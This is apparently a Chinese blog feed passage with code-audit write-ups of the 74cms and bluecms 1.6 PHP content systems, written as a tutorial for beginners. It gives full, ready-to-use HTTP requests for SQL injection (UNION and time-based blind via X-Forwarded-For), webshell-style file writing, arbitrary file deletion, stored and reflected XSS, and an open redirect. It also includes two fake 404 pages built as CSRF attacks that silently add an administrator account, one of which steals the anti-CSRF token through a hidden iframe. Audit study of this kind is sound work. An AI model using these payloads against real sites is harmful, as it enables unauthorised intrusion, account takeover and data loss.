Accept-Language: zh-CN,zh;q=0.9
Cookie: QS[uid]=2; QS[username]=user02; QS[password]=fd14a8ceb080688b964f9f89a66a730d; QS[utype]=1; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close

companyname=1234&nature_cn=%B9%FA%C6%F3&nature=46&trade_cn=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE%2F%D3%B2%BC%FE&trade=1&district_cn=%B5%D8%C7%F81+%2F+%B5%D8%C7%F81%D7%D3%C0%E0&district=1&sdistrict=2&scale_cn=20%C8%CB%D2%D4%CF%C2&scale=80&registered=123&currency=%C8%CB%C3%F1%B1%D2&contact=123&telephone=1234567&email=123%40123.com&website=%df',`contents`=database() where uid=2#&address=123&contents=123&Submit=%B1%A3%B4%E6

该cms存在多处$setsqlarr都可以利用,不止以上两个,不一一列举

3.任意文件写入漏洞

/admin/admin_templates.php第125行fwrite()函数中存在可利用变量$handle$tpl_content,导致任意文件写入漏洞

在全局分析中,我们已经知道后台对我们提交的数据只有转义处理,所以我们可以很容易的写入一个webshell,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /74cms/admin/admin_templates.php?act=do_edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: QS[uid]=1; QS[username]=user01; QS[password]=f9b56fc246a5142ad76408997edc1e4d; QS[utype]=2; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

tpl_dir=../&tpl_name=info.php&tpl_content=<?php phpinfo(); ?>

执行完成后在网站根目录下写入一个webshell

4.存储型XSS漏洞

/link/add_link.php第36行存在可利用变量$_POST['link_logo']/admin/admin_link.php中将该变量渲染到/admin/templates/default/link/admin_link.htm<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>中,存在存储型XSS漏洞

/link/add_link.php对添加的链接信息数组$setsqlarr有转义加去标签的处理

然后/admin/admin_link.phpget_links()函数将添加的链接信息从数据库中取出渲染到前台页面中

我们跟进link/admin_link.htm

在第58行中<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>我们可以看到前台将link_logo这以变量值作为img标签的读取源,虽然有去标签的处理,但是这里我们不需要加入标签,利用onerror事件也可以进行XSS攻击

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /74cms/link/add_link.php?act=save HTTP/1.1
Host: 127.0.0.1
Content-Length: 117
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/74cms/link/add_link.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: QS[uid]=2; QS[username]=user02; QS[password]=fd14a8ceb080688b964f9f89a66a730d; QS[utype]=1; bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close

alias=QS_index&link_name=123&link_url=123&link_logo=%23+onerror%3Dalert%28%2Fxss%2F%29&app_notes=&Submit=%CC%E1%BD%BB

执行成功后,在页面每次将鼠标移动至[logo]处都会弹框

5.CSRF漏洞

/admin/admin_users.php第42-68行由于未加入token验证,可以造成CSRF漏洞任意添加管理员账号

攻击过程:构造一个虚假404页面诱导管理员点击,页面代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://127.0.0.1/74cms/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true';
xmlhttp.send(xmldata);
}
add();
</script>

</body>
</html>

页面利用ajax技术在后台将注册信息提交到admin/admin_users.php

另外在74cms 3.6版本中添加了token机制认证,我们知道token认证机制是取出当前页面提交的token与存放在Session中的token值进行比较,相同则通过验证,每当我们刷新一次页面,token值就会发生变化。但是我们仍然可以进行CSRF攻击,办法就是利用iframe框架访问token值的页面,再利用js代码获取token值与信息一起提交即可,附上3.6版本csrf攻击的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>

<script type="text/javascript">
function add() {
var token = document.getElementById('hack').contentWindow.document.getElementsByName('hiddentoken')[0].value;
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3&hiddentoken='+token;
xmlhttp.open('POST','http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true';
xmlhttp.send(xmldata);
}
</script>

<iframe src="http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users" id='hack' border='0' style='display:none'>
</iframe>

<body onload="add()">
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
</body>

</html>

总结

该cms很多漏洞的利用点都在于未对SQL数组变量$setsqlarr进行过滤以及对后台输入只有转义处理,存在诸多输入过滤不足的情况

]]>
代码审计
代码审计--bluecms1.6 https://Foxgrin.github.io//posts/52227/ 2019-03-13T11:15:00.000Z 2019-03-14T12:00:06.871Z 记录bluecms1.6审计过程以及漏洞分析

前言

笔者属于新手,刚接触审计不久,刚拿到一个完全陌生的cms,一开始完全不知道如何下手,所以我通过不断阅读别人的审计文章,重点观察别人的审计思路,一开始看别人的审计文章其实不应该关注这个cms到底有什么漏洞,因为那都是别人已经审计好了的,你应该重点关注别人到底是怎么挖到这个洞的,这样你才能锻炼独立审计的能力,这篇文章我也会把我审计的全过程思路分享出来。

全局分析

首先拿到这个bluecms,安装完成后,我首先观察整个cms的文件结构

其实每个文件夹的功能从名字就大概能猜出,比如/admin肯定是后台管理员才能访问进行管理的;/include肯定是用来包含的全局文件,例如一些函数定义的文件,一些数据库配置,过滤文件等等;/templates肯定是一些模板文件,看到这个文件夹就能猜到这里面放着的都是一些html模板,用来通过后台进行渲染的。当然这都是初步的大致浏览,具体还要等到后面访问页面才知道。

下面,浏览了网页结构,就开始审计具体文件了,那么问题来了,审计哪个呢,这么多文件。这里我的思路还是首先访问根目录下的index.php文件,因为它是整个网站的首页。

先来看看首页的代码:

好多,将近300行,肯定不可能一行行的看,这里我首先还是先看主页面的开头包含了什么文件

1
2
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');

前面说到/include文件夹,果然就包含了里面的文件,这些文件往往对我们审计过程都非常重要,一定要重视

先来看看include/common.inc.php

1
2
3
4
5
6
7
8
#30-36行
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

我们马上就发现了在30-36行处,对全局数组POST,GET,COOKIES,REQUEST都进行了转义处理,所以只要通过这些方式输入的数据中存在单引号,双引号都会被转义。这就是为什么强调开头这些包含文件的重要性,如果我们没看到,就忽略了这些过滤,后面例如sql注入的注入点被单引号包裹,我们不知道有过滤还以为可以进行注入

另外在24-28行处还包含了一些函数文件

1
2
3
4
5
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');

后面遇到看不懂的函数,可以通过跟踪函数名在这些文件中搜索

就这样大致浏览一下这些文件的开头部分,后面其实大多都是功能部分,我们有的其实都不用去关注,毕竟我们本来就不可能每行都去看一遍

漏洞挖掘

1.跟踪输入变量

笔者一开始审计,也是很盲目,看了半天代码,还是看不出哪儿存在漏洞,主要一个原因还是代码太多了。所以感觉挖掘漏洞,还是要有方法,有明确思路,这样才能有效快速。在我浏览别人的审计文章时,看到了一句话:“有输入的地方就可能存在漏洞”。这句话讲的很有道理,这么多的web漏洞,本质上都是存在用户的输入才导致的,所以,我一开始就是关注每个文件哪里存在用户的输入。

从根目录开始,按顺序我们先来看看ad_js.php文件

1
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

文件很短,我们可以一口气将它看完,开头就有我们可以通过GET方式进行控制的变量,继续看下去,我们马上就看到了一个sql查询语句

1
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

在前面我们说过,在common.inc.php文件中对我们的输入方式进行转义的过滤,我们注意到这个文件开头就包含了它,说明这里对$ad_id变量是存在转义处理的,但是这里的sql语句中$ad_id是没有单引号包裹的,所以我们根本不需要去关注过滤,很明显这里就存在了sql注入漏洞,具体利用后面在一起说

接下来是ann.php文件,这个文件就有点长,但是我们无需关心,只看开头有没有可以利用的变量

1
2
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : 1;

可以看到,这里虽然输入变量,但是经过了intval函数的过滤处理,所以我们无法利用,这个文件我们就先pass掉,就这个道理继续往下看

来到user.php文件,存在可利用的变量$from和$act:

1
2
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'default';
$from = !empty($_REQUEST['from']) ? $_REQUEST['from'] : '';

这个文件也很长,我们直接搜索关键字跟踪变量$from,发现大多数做为参数传入了showmsg函数,例如112行

1
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

我们可以大致猜到这个函数是用来进行页面跳转的,具体我们可以跟踪这个函数,这里我在seay审计系统中进行内容全局搜索function showmsg,查询结果在/include/common.fun.php文件中对这个函数进行了定义,审计该文件中的这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
function showmsg($msg,$gourl='goback', $is_write = false)
{
global $smarty;
$smarty->caching = false;
$smarty->assign("msg",$msg);
$smarty->assign("gourl",$gourl);
$smarty->display("showmsg.htm");
if($is_write)
{
write_log($msg, $_SESSION['admin_name']);
}
exit();
}

这里面又利用了两个函数assigndisplay,同样继续跟踪这两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function assign($tpl_var, $value = null)
{
if (is_array($tpl_var)){
foreach ($tpl_var as $key => $val) {
if ($key != '') {
$this->_tpl_vars[$key] = $val;
}
}
} else {
if ($tpl_var != '')
$this->_tpl_vars[$tpl_var] = $value;
}
}

function display($resource_name, $cache_id = null, $compile_id = null)
{
$this->fetch($resource_name, $cache_id, $compile_id, true);
}

assign函数作用是将第二个参数作为键值,第一个参数作为键名。至于display函数,跟踪fetch函数有点长,这里我没有很详细的去看(其实是看不太懂…),只知道大致功能就是跳转页面。然后整个showmsg功能就是将assign中的数据渲染到display中的html页面。而这里传入参数$from,我们就可以猜测,可以通过该参数进行任意页面跳转的作用

依次类推,通过这个方法,相信只要耐心足够,一定很容易可以挖到一些漏洞

2.通过工具审计漏洞

第一种方法只是粗略的审计,一定还会有我们疏忽的漏洞,所以第二种方法,我用了审计工具来帮助我们进行审计,这里使用Seay审计系统,个人觉得还是不错的一款工具,还能进行关键字全局搜索。当然工具只是帮你分析可能存在的漏洞,并不是决定,具体我们还得一个个去耐心分析

可以看到,工具审计非常多可能存在的漏洞,但我还是按照第一种方法的思想,找存在输入的点,这样能更高效的寻找漏洞

例如上图,我们发现了变量$ip是通过头部的IP字段获取的,在这个字段我们是不用去关心转义过滤的,是个非常好利用的变量,所以我们赶紧跟踪/include/common.fun.php这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

我们可以发现这个关键函数getip,它返回的变量$ip我们是可以利用的,继续搜索这个函数getip,看看哪里可以利用到

发现/comment.php文件中存在通过该函数拼接而成的sql语句,猜测就可能存在sql注入漏洞,跟踪该文件

1
2
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

在113-114行找到了拼接的sql语句,我们可以通过伪造头部X-Forwarded-For字段来进行sql注入

依次类推,通过工具帮助我们审计,也能挖掘到更多漏洞

3.搜索危险函数

第三种方法,我们还可以搜索一些导致漏洞的危险函数,例如unlinkincludemove_uploaded_file函数等,这里搜索unlink函数为例

搜索结果显示出非常多unlink函数中存在我们可以输入进行控制的变量,例如/user.php下的616行:

1
2
3
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

就存在可以利用的变量$_POST['lit_pic'],我们跟踪该变量,发现除了开头包含文件的转义处理以外,无其他过滤地方,很明显我们就可以利用该变量进行网站根目录下任意文件删除的操作

4.借鉴别人的文章

一开始审计,难免会有很多漏洞自己忽略掉没审计到,这时候我们就需要多去参考别人审计该cms的文章,寻找出自己未审计出的漏洞,并总结自己为什么没有找出该漏洞,这样就为下次审计积累更多的经验

漏洞分析

1.UNION注入

/ad_js.php第19行通过变量$ad_id拼接的sql语句由于变量$ad_id未进行过滤并且无引号包裹,存在SQL注入漏洞

1
2
3
4
5
6
7
8
9
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

有回馈信息,所以我们直接用union注入

首先通过order by测试查询字段数为7,然后通过测试得知回显字段在第6位

注数据库payload:

1
?ad_id=0%20union%20select%200,0,0,0,0,database(),0

注表名payload:

1
/ad_js.php?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0

注blue_ad表下的列名payload:

1
?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f6164),0

注意将blue_ad转化为十六进制

2.INSERT INTO注入

/include/common.fun.phpgetip()函数返回存在通过头部IP字段获取的变量,跟踪该函数发现comment.php下第113行可利用getip()获取的可控变量进行sql注入

1
2
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

这是一个添加评论功能的页面,功能整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
elseif($act == 'send')
{
if(empty($id))
{
return false;
}

$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('评论内容不能为空');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
if($type == 1)
{
$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
}
elseif($type == 0)
{
$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
}
if($_CFG['comment_is_check'] == 1)
{
showmsg('请稍候,您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type);
}
else
{
showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type);
}
}

要执行SQL语句所需要控制的变量为$_GET['act'] == 'send',$_POST['content'] != '',

然后分析SQL语句,这是一个INSERT INTO语句,注入的方式有挺多种,这里我采用的是通过select case when then else语句进行延时注入的方法,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /comment.php?act=send HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; BLUE[user_id]=3; BLUE[user_name]=user02; BLUE[user_pwd]=1e6a32c00852bd4dbf303ab4d54a1380; detail=5
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

id=1&mood=1&comment=1&type=1

拼接后的sql语句为:

1
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '3', '1', '1', '1', '1', '1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#, '1')

之后就是写脚本注入了

同样的漏洞存在于/include/common.inc.php第四十五行存在通过getip()函数获得的变量$online_ip,跟踪该变量发现/guest_book.php第77-78行同样存在SQL注入漏洞

1
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('评论内容不能为空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /guest_book.php?act=send HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/ann.php?cid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=5
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

rid=1&content=1

3.任意文件跳转漏洞

/user.php文件第112行通过控制变量$from可进行任意文件跳转

1
2
$from = !empty($from) ? base64_decode($from) : 'user.php';
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

前面我们已经分析了showmsg函数的作用是页面跳转,同时注意这里$from有经过base64解密,我们通过登录用户,抓取登录包,其实就可以发现$from变量,我们假设跳转到根目录下的robots.txt文件,将robots.txt进行base64编码

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /user.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 108
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3
Connection: close

referer=&user_name=user02&pwd=user02&safecode=xipt&useful_time=604800&submit=%B5%C7%C2%BC&from=cm9ib3RzLnR4dA==&act=do_login

登录成功后跳转到robots.txt页面

4.任意文件删除漏洞

/user.php第616行存在未过滤变量$_POST['lit_pic'],导致任意文件删除漏洞

1
2
3
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=do_info_edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

post_id=1&title=1&link_man=1&link_phone=1&lit_pic=demo.php

同样/admin/flash.php第62-63行存在未过滤变量$_POST['image_path2'],导致任意文件删除漏洞

1
2
3
if(file_exists(BLUE_ROOT.$_POST['image_path2'])){
@unlink(BLUE_ROOT.$_POST['image_path2']);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/flash.php?act=do_edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

image_id=1&image_path2=demo.php

5.反射型XSS

/admin/card.php第57行存在可利用的变量$name导致的反射型xss漏洞

1
2
$name=!empty($_POST['name']) ? trim($_POST['name']) : '';
showmsg('编辑充值卡 '.$name.' 成功', 'card.php');

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/card.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 99
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/admin/card.php?act=edit&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=4; BLUE[user_id]=2; BLUE[user_name]=user01; BLUE[user_pwd]=30f21397b842ad32aaeae277d571edcd
Connection: close

name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&value=100&price=30&is_close=0&id=1&act=do_edit

弹框后跳转至card.php

6.存储型XSS

这个漏洞挺难发现的,我也是看别人的文章才学习到的,我们在审计时应该有注意在/user.php中的注册功能下有一个函数uc_user_register,跟踪该函数:

1
2
3
function uc_user_register($username, $password, $email, $questionid = '', $answer = '') {
return call_user_func(UC_API_FUNC, 'user', 'register', array('username'=>$username, 'password'=>$password, 'email'=>$email, 'questionid'=>$questionid, 'answer'=>$answer));
}

我们应该都会很奇怪这个UD_API_FUNC到底是什么鬼,查询一下其实就是一个引擎检查用户输入是否合法返回对应的uid,具体我们没必要深究下去,总之他是一个检查机制

而回到/user.php的编辑个人资料功能的代码下,我们惊奇的发现这个功能里,我们输入修改的资料信息后,直接将信息更新到了数据库中,并没有通过上面那个引擎对我们的输入进行合法性检查,所以我们就可以利用这个功能,进行存储型的XSS攻击

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
POST /user.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 1475
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOit6AnMUCD0FejzB
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/user.php?act=my_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=3; BLUE[user_name]=user02; BLUE[user_pwd]=1e6a32c00852bd4dbf303ab4d54a1380; detail=4
Connection: close

------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic1"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="birthday"

2019-03-14
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="sex"

0
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="email"

<script>alert(/xss/)</script>
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="msn"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="qq"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="office_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="home_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="mobile_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="address"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="act"

edit_user_info
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="submit"

È·ÈÏÐÞ¸Ä
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic3"


------WebKitFormBoundaryOit6AnMUCD0FejzB--

编辑成功后跳转回用户信息界面,每次访问都会触发弹框,因为我们编辑用户邮箱为<script>alert(/xss/)</script>

7.任意文件包含漏洞

这个漏洞也是通过审计工具才知道的,在/user.php第750行:

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下

